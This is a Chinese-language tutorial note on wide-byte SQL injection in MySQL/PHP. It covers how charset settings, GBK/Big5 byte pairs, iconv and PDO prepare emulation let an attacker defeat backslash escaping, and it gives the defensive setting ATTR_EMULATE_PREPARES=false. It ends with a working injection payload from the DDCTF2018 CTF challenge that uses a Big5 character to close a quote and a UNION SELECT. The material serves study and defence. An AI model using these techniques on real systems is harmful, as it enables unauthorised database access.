宽字节注入

WideByesInjection

Basic

UTF-8

UTF-8第一字节的取值范围是:00-7F、C2-F4

Mysql的utf8其实是阉割版utf-8编码,Mysql中的utf8字符集最长只支持三个字节,所以F0-F7也会无法被识别

1
2
三字节时, 首字节范围是[E0-EF][80-BF][80-BF]
四字节时, 首字节范围是[F0-F7][80-BF][80-BF][80-BF]

utf8mb4编码方式支持四字节的utf-8

mysql的字符解析

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mysql> show variables like "character_set%";
+--------------------------+-----------------------------------+
| Variable_name | Value |
+--------------------------+-----------------------------------+
| character_set_client | utf8 |
| character_set_connection | utf8 |
| character_set_database | utf8 |
| character_set_filesystem | binary |
| character_set_results | utf8 |
| character_set_server | utf8 |
| character_set_system | utf8 |
| character_sets_dir | D:\phpStudy\MySQL\share\charsets\ |
+--------------------------+-----------------------------------+
8 rows in set (0.00 sec)

mysql> set names gbk;
Query OK, 0 rows affected (0.00 sec)

mysql> show variables like "character_set%";
+--------------------------+-----------------------------------+
| Variable_name | Value |
+--------------------------+-----------------------------------+
| character_set_client | gbk |
| character_set_connection | gbk |
| character_set_database | utf8 |
| character_set_filesystem | binary |
| character_set_results | gbk |
| character_set_server | utf8 |
| character_set_system | utf8 |
| character_sets_dir | D:\phpStudy\MySQL\share\charsets\ |
+--------------------------+-----------------------------------+
8 rows in set (0.00 sec)

set names gbk;以后,character_set_clientcharacter_set_connectioncharacter_set_results等与客户端相关的配置字符集都变成了gbk,但character_set_databasecharacter_set_server等服务端相关的字符集还是utf8。

mysql api

  • mysql_set_charset(“utf8”, $link) (php5.2.3+)

    规定当与数据库服务器进行数据传送时要使用的默认字符集,同时会设定好客户端的编码

  • mysql_query(“SET NAMES ‘UTF8’”);

    • character_set_client
    • character_set_connection
    • character_set_results
  • mysql_client_encoding($link)

    可以看到客户端编码

漏洞点

iconv

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

1
string iconv ( string $in_charset , string $out_charset , string $str )

将字符串 str 从 in_charset 转换编码到 out_charse

  • 可以对用户名做如下处理
1
$username = iconv('GBK', 'UTF-8', $_GET['para']);
  • 在character_set_client为binary情况下,只有借助其它函数的转换如iconv等来引入特殊字符。

mb_convert_encoding

1
string mb_convert_encoding ( string $str , string $to_encoding [, mixed $from_encoding = mb_internal_encoding() ] )

​ $from_encoding用 “auto” 表示成 “ASCII,JIS,UTF-8,EUC-JP,SJIS” */
​ $str = mb_convert_encoding($str, “EUC-JP”, “auto”);

1
$username = mb_convert_encoding($_GET['para'], 'utf-8', 'gbk');

mysql_real_escape_string+SET NAMES gbk

real_escape会根据客户端的设定进行过滤,但仅仅SET NAMES并不会改变客户端的编码,要mysql_set_charset才行

创建table时

create table … character_set=..

还有就是数据库创建或更改的时候改了服务器端的编码

PDO prepare预编译

https://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html
PHP<5.3.6时,还是存在WideByteInj的,本地模拟prepare后,再把完整的语句发送到mysql服务器
应该用ATTR_EMULATE_PREPARES来禁用prepare本地模拟
$db->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);

1
2
3
4
5
$db=new PDO("mysql:host=localhost; dbname=demo", "user", "pass");
$db->exec("set names gbk"); //实际上并未修改mysql服务器端
$sql="select * from test where name = ? and password = ?";
$pre=$db->prepare($sql);
$res=$pre->execute(array($name,$pass));

Exploit

服务器端解析为宽字符

和反斜杠一起解释成宽字节

绕过加上反斜杠的过滤addslashes等

client: utf8 — server: gbk
!! 如果一个字符uft8无法解码,则会去转化为ascii(255位版),但python的decode不会自动这样

1
2
3
df5c
gbk: 運 b'\xdf\\'.decode('gbk') //这里的\\是python里转义表达
ascii: ß\ chr(0xdf)

客户端解析为宽字符

传入宽字符但被拆开

传入宽字符在server端被拆开成单字节,从而可以传入末尾以反斜杠结尾的字符来绕过

client big5 — server utf8

  • DDCTF2018 Web3 注入的奥妙

    闭合单引号

1
2
3
4
5
6
A45C
- Big5(client): 么 b'\xA4\x5C'.decode('big5')
- ascii(server): ¤\ chr(0xa4)
B05C
- Big5(client): 豹
- utf8(server): °\

payload:

1
/well/getmessage/1豹' and 2=1 uniunionon select `id`,`pattern` COLLATE utf8_general_ci,`action` COLLATE utf8_general_ci from route_rules – –

utf8_general_ci表示大小写不敏感

MySQL 宽字节注入——关于GBK编码和UTF-8编码

Mysql字符编码利用技巧